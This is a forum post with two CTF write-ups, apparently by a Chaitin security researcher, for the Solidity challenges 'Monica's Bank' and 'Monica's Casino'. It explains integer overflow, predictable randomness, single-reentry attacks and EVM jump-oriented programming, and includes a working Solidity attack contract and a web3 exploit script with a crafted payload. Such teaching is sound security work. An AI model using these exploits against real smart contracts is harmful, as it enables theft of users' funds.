用户
搜索
  • TA的每日心情
    开心
    2018-10-12 18:11
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    9

    主题

    11

    帖子

    79

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-10-11
    发表于 2019-10-27 23:20:57 0248
    签名墙2.jpeg

    本文由长亭科技区块链安全负责人于晓航撰写




    Writeup 1: Monica's Bank




    # 0x00 概况
    这题是几种Solidity常见经典漏洞的组合,如果对Solidity熟悉的话会相对简单。

    # 0x01 思路
    在transferBalance函数里,由于整数溢出require并没啥用,只需要随意transfer任意小余额到其他地址就可以获得大量balance。
    然后可以buy 1个credit,这里的随机数是完全可预测的,只需要把随机数那段代码复制到攻击合约里就好了。
    最后一步是重入攻击,跟hint里说的一样,这个类似DAO的加强版攻击。大概意思是只需要重入1次就好,而不是多次重入,这样可以触发creditOf[] -= amount的整数溢出。
    在DAO攻击中,目标函数和攻击合约的fallback都被调用了很多次,直到gas耗尽,调用链底层抛出异常,由于.call.value特点是返回false而非继续向上抛出异常,所以这整个交易不会被revert,然后.call.value之后的代码们只会被执行1次。
    在‘加强版’攻击里,由于我们主动结束第二次fallback,.call.value之后的代码会被执行2次,从而触发整数下溢,达成目标。

    # 0x02 解密Flag
    触发SendFlag后,后台脚本会把加密flag数据放在交易里发送给攻击者的地址,即tx.origin。
    数据是用tx.origin的公钥加密的,因此可以用私钥,和提供的解密脚本来解密。

    # 0x03 POC


    /* * Author: xhyumiracle @ Chaitin * web3 1.0.0 */contract MagicBank{    function transferBalance(address to, uint amount) public;    function buyCredit(uint256 guess) public ;    function withdrawCredit(uint amount) public;    function win() public;}contract MagicBankAttack{    bool first;    MagicBank v;    function () payable{        if (first){            first = false;            v.withdrawCredit(1);        }    }    function setTarget(address t){        v = MagicBank(t);    }    function step1(){        v.transferBalance(0xdabf7b50250d5c8ff35d7d28a9d1b7e0eab389bb, 1);    }    function step2 () {        first = true;        uint256 seed = uint256(blockhash(block.number));        uint256 rand = seed / 0x496e74726f206c6576656c2c20666f72207369676e2d7570206f6e6c79203a29;        v.buyCredit(rand);        v.withdrawCredit(1);        v.win();    }} contract Destruct{    function () payable{    }    function kill(address t) public{        selfdestruct(t);    } }
    然后用解密脚本来获得flag.

    # 0x04 彩蛋
    >>>
    n='496e74726f206c6576656c2c20666f72207369676e2d7570206f6e6c79203a29'
    >>> binascii.unhexlify(n)
    'Intro level, for sign-up only '







    Writeup 2: Monica's Casino




    # 0x00 概况
    这题属于中等偏难,是个EVM JOP类型蜜罐合约题目。需要逆向合约opcode,找一些gadgets来准备好栈以及操作控制流,利用后门。

    # 0x01 JOP思路
    Constructor里有jump指令,跳到参数a,通过分析合约创建交易的input data可以知道是0x9b。
    在remix里调试一下可以看到0x9b指向的是参数b的开头,刚好这里有一个jumpdest字节码所以程序可以合法跳到这里,执行后面的指令。b开头这段指令做的事很简单:将b的后半段字节copy到memory上,然后直接return这些字节。所以这一步其实就是替换掉了合约在链上的runtime code,所以runtime code其实跟源码看到的不一样。
    严格来说现在runtimecode可以是任意内容,这样的话会需要很多比较无聊的逆向工作,但这里可以尝试的一个技巧是,把源码里constructor的jump一行注释掉,然后编译得到原本的runtime code,然后比较这两个版本。会发现这里我在‘有效字节码部分’只patch了1个字节。

    21.png


    如上,第一处diff是1字节,第二处是metadata,这个理论上来说对不同源码是应该不一样的(但这里是题目有意设置的不同)。
    第一个字节把push32(0x7f)改成了dup3(0x82),实际上把后面的字节从‘数据段’解放为了‘代码段’。然后其实后续的这些字节就是源码中salt的值。
    于是这部分字节可以被解释为这段opcode:
    dup3 (push32(7f)->dup3(82))dup1push1 0x1fandbytepush1 0xffanddup1jump

    这里可以看到有了第一个任意跳转,也就是后门的入口,然后还有挺多事要做。通过msg.sender[msg.sender[-1]]这个字节可以控制地址。
    接下来目标是控制合约触发event,即log字节码,也就是需要跳到log前的某个jumpdest。
    从这里可能会有人尝试直接一步到位跳到log,但其实会发现那个地方的地址要高于0xff没法通过1字节控制。
    因此我们需要跳转到小于0x100的某个位置,总之最后落在salt的后半段,然后再通过inputdata的其他字节控制跳转到下一个gadget。
    可能会注意到的另一个事情是在最近的‘jumpdest’和‘log’之间,存在一些修改栈内容的操作,因此我们需要利用其他gadgets大概准备一下stack的内容。
    接下来的步骤是需要跳转到metadata段来处理一些stack/memory的存取操作(正常情况下metadata段不会被执行)
    Ummm,我觉得写到这里差不多,还是希望把其他乐趣留给大家来探索接下来的解法。后面的解题应该还会有几个trick没有提到。

    # 0x02 未初始化结构体变量
    在走到后门入口之前有另一个trick需要处理一下。未初始化结构体变量也是一个很典型的蜜罐合约,在旧版编译器下,‘PlayerInfo pi’这种写法其实定义了一个指向0的指针,刚好也是secret存储的位置,因此pi.addr = msg.sender其实悄悄把secret修改成了msg.sender。
    所以lottery函数的参数应该是攻击者自己的地址。这个设计像是后门的守卫。总之这样我们就可以触发到后门了。
    另一个点是,由于我们需要给lottery提供的inputdata要长于uint256来触发JOP部分,可能需要用web3脚本或者部署一个代理合约来构造发送任意payload。然后为了减轻选手的压力,我写了一个docker image作为完整的独立debug环境,作为题目附件可供下载,启动后里面有一个包含题目环境的私链,与ropsten上的环境几乎一模一样,也提供了几乎所有解题需要用到的库、脚本样例啥的。

    # 0x03 POC



    /*

    * Author: xhyumiracle @ Chaitin

    * web3 1.0.0

    */

    const Web3 = require('web3');

    const Transaction = require('ethereumjs-tx').Transaction;

    var ws_provider = 'ws://localhost:8546'

    var web3 = new Web3(new Web3.providers.WebsocketProvider(ws_provider))

    function sendInputTo(from, to, sk, data, gasGiven, valueTransfered, chainId){

        return new Promise(function (resolve, reject){

            web3.eth.getTransactionCount(from, "pending").then(function(_nonce){

                const txParams = {

                    nonce: _nonce,  

                    gasPrice: 100000,

                    gasLimit: gasGiven,

                    to: to,

                    data: data,

                    value: valueTransfered

                };

                let tx = new Transaction(txParams, {'chain': chainId});

                tx.sign(sk);

                stx = tx.serialize();

                web3.eth.sendSignedTransaction('0x' + stx.toString('hex')).then(function(tx){

                    resolve(tx.transactionHash)

                })

            })

        })

    }

    playersk=Buffer.from('2907ddf911f7c72b48c1f63487bfc2e9a474a6b23e9f0f3db9b2cfd45deb4500', 'hex');

    playeraddr='0xedd7933ef5d19e109a669413a5f8d5ea1300550c';

    targetaddr= process.argv[2];

    payload='0xa57d1560000000000000000000000000edd7933ef5d19e109a669413a5f8d5ea1300550c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000028800000000000000000000000000000000000000000000000000000000000001fe'

    sendInputTo(from=playeraddr, to=targetaddr, sk=playersk, data=payload, gasLimit=52112, value=Math.pow(10,17), chainId=4).then(function(txh){

        console.log(txh);

        return;

    });



    如果你有debug环境的话直接run docker,记得暴露一下rpc/ws接口,然后把remix连到docker里的私链来debug。如果没有的话用ropsten也是一样的。
    接下来配置一下ws_provider跑poc就完事儿了,应该会发一条交易触发SendFlag。可以尝试debug poc这条交易来理解一些细节。
    关于如何解密flagdata,请参考‘Monica’s Bank Writeups’。
    感谢,希望大家喜欢这小破题。
    完事儿
    FYI: http://xhyumiracle.com/defcon27-village-talk/




    更多信息,请关注DVP官网dvpnet.io和公众号DVPNET






    签名墙.jpeg
    1.png
    2.png
    22.png
    23.png
    双11又又又来了?DVP双重活动,让你成为锦鲤本鲤 活动详情:https://mp.weixin.qq.com/s/8TvnUKBv83pU2XaA850L8g DVP去中心化漏洞平台 https://dvpnet.io/ ,双11诚邀
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册